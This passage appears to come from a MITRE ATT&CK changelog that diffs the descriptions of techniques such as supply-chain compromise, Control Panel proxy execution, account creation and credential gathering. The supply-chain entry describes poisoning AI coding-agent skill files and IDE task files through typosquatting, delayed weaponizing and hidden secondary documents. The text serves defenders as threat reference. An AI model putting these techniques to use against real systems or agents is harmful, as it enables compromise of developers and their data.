| > | iles such as tasks.json may execute commands when a develope | > | oject files such as tasks.json may execute commands when a d | ||
| > | r opens or builds a project, while agent skill files (SKILL. | > | eveloper opens or builds a project, while agent skill files | ||
| > | md) supply an agent with instructions and resources that it | > | (SKILL.md) supply an agent with instructions and resources t | ||
| > | loads on demand and runs with the permissions of the agent p | > | hat it loads on demand and runs with the permissions of the | ||
| > | rocess.(Citation: Microsoft - Agent Skills Docs)(Citation: G | > | agent process.(Citation: Microsoft - Agent Skills Docs)(Cita | ||
| > | oogle Agent Files May 2026)(Citation: CrowdStrike Threat Hun | > | tion: Google Agent Files May 2026)(Citation: CrowdStrike Thr | ||
| > | ting Report 2026)(Citation: Microsoft Contagious Interview M | > | eat Hunting Report 2026)(Citation: Microsoft Contagious Inte | ||
| > | arch 2026) To encourage downloads, adversaries may publish t | > | rview March 2026) To encourage downloads, adversaries may pu | ||
| > | hese files under benign-appearing or typo-squatted names, up | > | blish these files under benign-appearing or typo-squatted na | ||
| > | load unmodified copies of the genuine skills first so the li | > | mes, upload unmodified copies of the genuine skills first so | ||
| > | stings accumulate installs before the content behind them is | > | the listings accumulate installs before the content behind | ||
| > | weaponized, or may place the malicious instructions in a se | > | them is weaponized, or may place the malicious instructions | ||
| > | condary document that the reviewed entry point references.(C | > | in a secondary document that the reviewed entry point refere | ||
| > | itation: Zenity Skill Supply Chain August 2026)(Citation: ES | > | nces.(Citation: Zenity Skill Supply Chain August 2026)(Citat | ||
| > | ET Agent Skills March 2026) Because these artifacts are natu | > | ion: ESET Agent Skills March 2026) Because these artifacts a | ||
| > | ral language or configuration rather than executable code, t | > | re natural language or configuration rather than executable | ||
| > | hey may pass registry screening and signature-based scanning | > | code, they may pass registry screening and signature-based s | ||
| > | .(Citation: ESET Agent Skills March 2026)(Citation: TrendMic | > | canning.(Citation: ESET Agent Skills March 2026)(Citation: T | ||
| > | ro - OpenClaw Skills Distribute ATMOS) Targeting may be sp | > | rendMicro - OpenClaw Skills Distribute ATMOS) Targeting ma | ||
| > | ecific to a desired victim set or may be distributed to a br | > | y be specific to a desired victim set or may be distributed | ||
| > | oad set of consumers but only move on to additional tactics | > | to a broad set of consumers but only move on to additional t | ||
| > | on specific victims. | > | actics on specific victims. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-06 16:05:56.514000+00:00 | 2026-11-03 18:23:05.952000+00:00 |
| description | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ "typosquatting" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo) Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023) Adversaries may also target the configuration and instruction files consumed by integrated development environments and AI coding agents. Project files such as tasks.json may execute commands when a developer opens or builds a project, while agent skill files (SKILL.md) supply an agent with instructions and resources that it loads on demand and runs with the permissions of the agent process.(Citation: Microsoft - Agent Skills Docs)(Citation: Google Agent Files May 2026)(Citation: CrowdStrike Threat Hunting Report 2026)(Citation: Microsoft Contagious Interview March 2026) To encourage downloads, adversaries may publish these files under benign-appearing or typo-squatted names, upload unmodified copies of the genuine skills first so the listings accumulate installs before the content behind them is weaponized, or may place the malicious instructions in a secondary document that the reviewed entry point references.(Citation: Zenity Skill Supply Chain August 2026)(Citation: ESET Agent Skills March 2026) Because these artifacts are natural language or configuration rather than executable code, they may pass registry screening and signature-based scanning.(Citation: ESET Agent Skills March 2026)(Citation: TrendMicro - OpenClaw Skills Distribute ATMOS) Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by the original owner.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ "typosquatting" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo) Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023) Adversaries may also target the configuration and instruction files consumed by integrated development environments and AI coding agents. Project files such as tasks.json may execute commands when a developer opens or builds a project, while agent skill files (SKILL.md) supply an agent with instructions and resources that it loads on demand and runs with the permissions of the agent process.(Citation: Microsoft - Agent Skills Docs)(Citation: Google Agent Files May 2026)(Citation: CrowdStrike Threat Hunting Report 2026)(Citation: Microsoft Contagious Interview March 2026) To encourage downloads, adversaries may publish these files under benign-appearing or typo-squatted names, upload unmodified copies of the genuine skills first so the listings accumulate installs before the content behind them is weaponized, or may place the malicious instructions in a secondary document that the reviewed entry point references.(Citation: Zenity Skill Supply Chain August 2026)(Citation: ESET Agent Skills March 2026) Because these artifacts are natural language or configuration rather than executable code, they may pass registry screening and signature-based scanning.(Citation: ESET Agent Skills March 2026)(Citation: TrendMicro - OpenClaw Skills Distribute ATMOS) Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Surya Teja Masanam (@surya4n6) |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage Confluence repositories to mine va | t | 1 | Adversaries may leverage Confluence repositories to mine va |
| > | luable information.(Citation: Confluence Standards in Data E | > | luable information.(Citation: Confluence Standards in Data E | ||
| > | ngineering) Often found in development environments alongsid | > | ngineering) Often found in development environments alongsid | ||
| > | e Atlassian JIRA, Confluence is generally used to store deve | > | e Atlassian JIRA, Confluence is generally used to store deve | ||
| > | lopment-related documentation, however, in general may conta | > | lopment-related documentation; however, it may contain more | ||
| > | in more diverse categories of useful information, such as: | > | diverse categories of useful information, such as: * Polici | ||
| > | * Policies, procedures, and standards * Physical / logical n | > | es, procedures, and standards * Physical / logical network d | ||
| > | etwork diagrams * System architecture diagrams * Technical s | > | iagrams * System architecture diagrams * Technical system do | ||
| > | ystem documentation * Testing / development credentials (i.e | > | cumentation * Testing / development credentials (i.e., [Unse | ||
| > | ., [Unsecured Credentials](https://attack.mitre.org/techniqu | > | cured Credentials](https://attack.mitre.org/techniques/T1552 | ||
| > | es/T1552)) * Work / project schedules * Source code snippets | > | )) * Work / project schedules * Source code snippets * Links | ||
| > | * Links to network shares and other internal resources | > | to network shares and other internal resources | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-02 19:58:33.749000+00:00 | 2026-11-04 03:02:44.572000+00:00 |
| description | Adversaries may leverage Confluence repositories to mine valuable information.(Citation: Confluence Standards in Data Engineering) Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) * Work / project schedules * Source code snippets * Links to network shares and other internal resources | Adversaries may leverage Confluence repositories to mine valuable information.(Citation: Confluence Standards in Data Engineering) Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation; however, it may contain more diverse categories of useful information, such as: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) * Work / project schedules * Source code snippets * Links to network shares and other internal resources |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain access and continuously communicate wit | t | 1 | Adversaries may gain access and continuously communicate wit |
| > | h victims by injecting malicious content into systems throug | > | h victims by injecting malicious content into systems throug | ||
| > | h online network traffic. Rather than luring victims to mali | > | h online network traffic. Rather than luring victims to mali | ||
| > | cious payloads hosted on a compromised website (i.e., [Drive | > | cious payloads hosted on a compromised website (i.e., [Drive | ||
| > | -by Target](https://attack.mitre.org/techniques/T1608/004) f | > | -by Target](https://attack.mitre.org/techniques/T1608/004) f | ||
| > | ollowed by [Drive-by Compromise](https://attack.mitre.org/te | > | ollowed by [Drive-by Compromise](https://attack.mitre.org/te | ||
| > | chniques/T1189)), adversaries may initially access victims t | > | chniques/T1189)), adversaries may initially access victims t | ||
| > | hrough compromised data-transfer channels where they can man | > | hrough compromised data-transfer channels where they can man | ||
| > | ipulate traffic and/or inject their own content. These compr | > | ipulate traffic and/or inject their own content. These compr | ||
| > | omised online network channels may also be used to deliver a | > | omised online network channels may also be used to deliver a | ||
| > | dditional payloads (i.e., [Ingress Tool Transfer](https://at | > | dditional payloads (i.e., [Ingress Tool Transfer](https://at | ||
| > | tack.mitre.org/techniques/T1105)) and other data to already | > | tack.mitre.org/techniques/T1105)) and other data to already | ||
| > | compromised systems.(Citation: ESET MoustachedBouncer) Adve | > | compromised systems.(Citation: ESET MoustachedBouncer) Adve | ||
| > | rsaries may inject content to victim systems in various ways | > | rsaries may inject content to victim systems in various ways | ||
| > | , including: * From the middle, where the adversary is in-b | > | , including: * From the middle, where the adversary is in-b | ||
| > | etween legitimate online client-server communications (**Not | > | etween legitimate online client-server communications (**Not | ||
| > | e:** this is similar but distinct from [Adversary-in-the-Mid | > | e:** this is similar but distinct from [Adversary-in-the-Mid | ||
| > | dle](https://attack.mitre.org/techniques/T1557), which descr | > | dle](https://attack.mitre.org/techniques/T1557), which descr | ||
| > | ibes AiTM activity solely within an enterprise environment) | > | ibes AiTM activity solely within an enterprise environment)( | ||
| > | (Citation: Kaspersky Encyclopedia MiTM) * From the side, whe | > | Citation: Kaspersky Encyclopedia MiTM) * From the side, wher | ||
| > | re malicious content is injected and races to the client as | > | e malicious content is injected and races to the client as a | ||
| > | a fake response to requests of a legitimate online server (C | > | fake response to requests of a legitimate online server(Cit | ||
| > | itation: Kaspersky ManOnTheSide) Content injection is often | > | ation: Kaspersky ManOnTheSide) Content injection is often t | ||
| > | the result of compromised upstream communication channels, | > | he result of compromised upstream communication channels, fo | ||
| > | for example at the level of an internet service provider (IS | > | r example at the level of an internet service provider (ISP) | ||
| > | P) as is the case with "lawful interception."(Citation: Kasp | > | as is the case with "lawful interception."(Citation: Kasper | ||
| > | ersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citati | > | sky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation | ||
| > | on: EFF China GitHub Attack) | > | : EFF China GitHub Attack) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:10:29.343000+00:00 | 2026-11-04 01:14:47.508000+00:00 |
| description | Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer) Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide) Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack) | Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer) Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment)(Citation: Kaspersky Encyclopedia MiTM) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server(Citation: Kaspersky ManOnTheSide) Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse control.exe to proxy execution of mali | t | 1 | Adversaries may abuse control.exe to proxy execution of mali |
| > | cious payloads. The Windows Control Panel process binary (co | > | cious payloads. The Windows Control Panel process binary (co | ||
| > | ntrol.exe) handles execution of Control Panel items, which a | > | ntrol.exe) handles execution of Control Panel items, which a | ||
| > | re utilities that allow users to view and adjust computer se | > | re utilities that allow users to view and adjust computer se | ||
| > | ttings. Control Panel items are registered executable (.exe | > | ttings. Control Panel items are registered executable (.exe | ||
| > | ) or Control Panel (.cpl) files, the latter are actually ren | > | ) or Control Panel (.cpl) files; the latter are actually ren | ||
| > | amed dynamic-link library (.dll) files that export a <code>C | > | amed dynamic-link library (.dll) files that export a <code>C | ||
| > | PlApplet</code> function.(Citation: Microsoft Implementing C | > | PlApplet</code> function.(Citation: Microsoft Implementing C | ||
| > | PL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of u | > | PL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of u | ||
| > | se, Control Panel items typically include graphical menus av | > | se, Control Panel items typically include graphical menus av | ||
| > | ailable to users after being registered and loaded into the | > | ailable to users after being registered and loaded into the | ||
| > | Control Panel.(Citation: Microsoft Implementing CPL) Control | > | Control Panel.(Citation: Microsoft Implementing CPL) Control | ||
| > | Panel items can be executed directly from the command line, | > | Panel items can be executed directly from the command line, | ||
| > | programmatically via an application programming interface ( | > | programmatically via an application programming interface ( | ||
| > | API) call, or by simply double-clicking the file.(Citation: | > | API) call, or by simply double-clicking the file.(Citation: | ||
| > | Microsoft Implementing CPL) (Citation: TrendMicro CPL Malwar | > | Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware | ||
| > | e Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) Mali | > | Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) Malic | ||
| > | cious Control Panel items can be delivered via [Phishing](ht | > | ious Control Panel items can be delivered via [Phishing](htt | ||
| > | tps://attack.mitre.org/techniques/T1566) campaigns(Citation: | > | ps://attack.mitre.org/techniques/T1566) campaigns(Citation: | ||
| > | TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL M | > | TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Ma | ||
| > | alware Dec 2013) or executed as part of multi-stage malware. | > | lware Dec 2013) or executed as part of multi-stage malware.( | ||
| > | (Citation: Palo Alto Reaver Nov 2017) Control Panel items, s | > | Citation: Palo Alto Reaver Nov 2017) Control Panel items, sp | ||
| > | pecifically CPL files, may also bypass application and/or fi | > | ecifically CPL files, may also bypass application and/or fil | ||
| > | le extension allow lists. Adversaries may also rename malic | > | e extension allow lists. Adversaries may also rename malici | ||
| > | ious DLL files (.dll) with Control Panel file extensions (.c | > | ous DLL files (.dll) with Control Panel file extensions (.cp | ||
| > | pl) and register them to <code>HKCU\Software\Microsoft\Windo | > | l) and register them to <code>HKCU\Software\Microsoft\Window | ||
| > | ws\CurrentVersion\Control Panel\Cpls</code>. Even when these | > | s\CurrentVersion\Control Panel\Cpls</code>. Even when these | ||
| > | registered DLLs do not comply with the CPL file specificati | > | registered DLLs do not comply with the CPL file specificatio | ||
| > | on and do not export <code>CPlApplet</code> functions, they | > | n and do not export <code>CPlApplet</code> functions, they a | ||
| > | are loaded and executed through its <code>DllEntryPoint</cod | > | re loaded and executed through its <code>DllEntryPoint</code | ||
| > | e> when Control Panel is executed. CPL files not exporting < | > | > when Control Panel is executed. CPL files not exporting <c | ||
| > | code>CPlApplet</code> are not directly executable.(Citation: | > | ode>CPlApplet</code> are not directly executable.(Citation: | ||
| > | ESET InvisiMole June 2020) | > | ESET InvisiMole June 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.632000+00:00 | 2026-11-04 00:41:19.487000+00:00 |
| description | Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.
Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)
Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.
Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020) | Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.
Control Panel items are registered executable (.exe) or Control Panel (.cpl) files; the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)
Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.
Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020) |
Current version: 2.6
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create an account to maintain access to vict | t | 1 | Adversaries may create an account to maintain access to vict |
| > | im systems.(Citation: Symantec WastedLocker June 2020) With | > | im systems.(Citation: Symantec WastedLocker June 2020) With | ||
| > | a sufficient level of access, creating such accounts may be | > | a sufficient level of access, creating such accounts may be | ||
| > | used to establish secondary credentialed access that do not | > | used to establish secondary credentialed access that does no | ||
| > | require persistent remote access tools to be deployed on the | > | t require persistent remote access tools to be deployed on t | ||
| > | system. Accounts may be created on the local system or wit | > | he system. Accounts may be created on the local system or w | ||
| > | hin a domain or cloud tenant. In cloud environments, adversa | > | ithin a domain or cloud tenant. In cloud environments, adver | ||
| > | ries may create accounts that only have access to specific s | > | saries may create accounts that only have access to specific | ||
| > | ervices, which can reduce the chance of detection. | > | services, which can reduce the chance of detection. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:30.136000+00:00 | 2026-11-04 03:15:58.720000+00:00 |
| description | Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. | Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system. Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'} |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather credentials that can be used during t | t | 1 | Adversaries may gather credentials that can be used during t |
| > | argeting. Account credentials gathered by adversaries may be | > | argeting. Account credentials gathered by adversaries may be | ||
| > | those directly associated with the target victim organizati | > | those directly associated with the target victim organizati | ||
| > | on or attempt to take advantage of the tendency for users to | > | on or attempt to take advantage of the tendency for users to | ||
| > | use the same passwords across personal and business account | > | use the same passwords across personal and business account | ||
| > | s. Adversaries may gather credentials from potential victim | > | s. Adversaries may gather credentials from potential victim | ||
| > | s in various ways, such as direct elicitation via [Phishing | > | s in various ways, such as direct elicitation via [Phishing | ||
| > | for Information](https://attack.mitre.org/techniques/T1598). | > | for Information](https://attack.mitre.org/techniques/T1598). | ||
| > | Adversaries may also compromise sites then add malicious co | > | Adversaries may also compromise sites then add malicious co | ||
| > | ntent designed to collect website authentication cookies fro | > | ntent designed to collect website authentication cookies fro | ||
| > | m visitors.(Citation: ATT ScanBox) (Citation: Register Deloi | > | m visitors.(Citation: ATT ScanBox)(Citation: Register Deloit | ||
| > | tte)(Citation: Register Uber)(Citation: Detectify Slack Toke | > | te)(Citation: Register Uber)(Citation: Detectify Slack Token | ||
| > | ns)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleH | > | s)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHo | ||
| > | og)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where mul | > | g)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where mult | ||
| > | ti-factor authentication (MFA) based on out-of-band communic | > | i-factor authentication (MFA) based on out-of-band communica | ||
| > | ations is in use, adversaries may compromise a service provi | > | tions is in use, adversaries may compromise a service provid | ||
| > | der to gain access to MFA codes and one-time passwords (OTP) | > | er to gain access to MFA codes and one-time passwords (OTP). | ||
| > | .(Citation: Okta Scatter Swine 2022) Credential information | > | (Citation: Okta Scatter Swine 2022) Credential information | ||
| > | may also be exposed to adversaries via leaks to online or o | > | may also be exposed to adversaries via leaks to online or ot | ||
| > | ther accessible data sets (ex: [Search Engines](https://atta | > | her accessible data sets (ex: [Search Engines](https://attac | ||
| > | ck.mitre.org/techniques/T1593/002), breach dumps, code repos | > | k.mitre.org/techniques/T1593/002), breach dumps, code reposi | ||
| > | itories, etc.). Adversaries may purchase credentials from da | > | tories, etc.). Adversaries may purchase credentials from dar | ||
| > | rk web markets, such as Russian Market and 2easy, or through | > | k web markets, such as Russian Market and 2easy, or through | ||
| > | access to Telegram channels that distribute logs from infos | > | access to Telegram channels that distribute logs from infost | ||
| > | tealer malware.(Citation: Bleeping Computer 2easy 2021)(Cita | > | ealer malware.(Citation: Bleeping Computer 2easy 2021)(Citat | ||
| > | tion: SecureWorks Infostealers 2023)(Citation: Bleeping Comp | > | ion: SecureWorks Infostealers 2023)(Citation: Bleeping Compu | ||
| > | uter Stealer Logs 2023) Gathering this information may reve | > | ter Stealer Logs 2023) Gathering this information may revea | ||
| > | al opportunities for other forms of reconnaissance (ex: [Sea | > | l opportunities for other forms of reconnaissance (ex: [Sear | ||
| > | rch Open Websites/Domains](https://attack.mitre.org/techniqu | > | ch Open Websites/Domains](https://attack.mitre.org/technique | ||
| > | es/T1593) or [Phishing for Information](https://attack.mitre | > | s/T1593) or [Phishing for Information](https://attack.mitre. | ||
| > | .org/techniques/T1598)), establishing operational resources | > | org/techniques/T1598)), establishing operational resources ( | ||
| > | (ex: [Compromise Accounts](https://attack.mitre.org/techniqu | > | ex: [Compromise Accounts](https://attack.mitre.org/technique | ||
| > | es/T1586)), and/or initial access (ex: [External Remote Serv | > | s/T1586)), and/or initial access (ex: [External Remote Servi | ||
| > | ices](https://attack.mitre.org/techniques/T1133) or [Valid A | > | ces](https://attack.mitre.org/techniques/T1133) or [Valid Ac | ||
| > | ccounts](https://attack.mitre.org/techniques/T1078)). | > | counts](https://attack.mitre.org/techniques/T1078)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:18.246000+00:00 | 2026-11-04 01:08:46.127000+00:00 |
| description | Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code 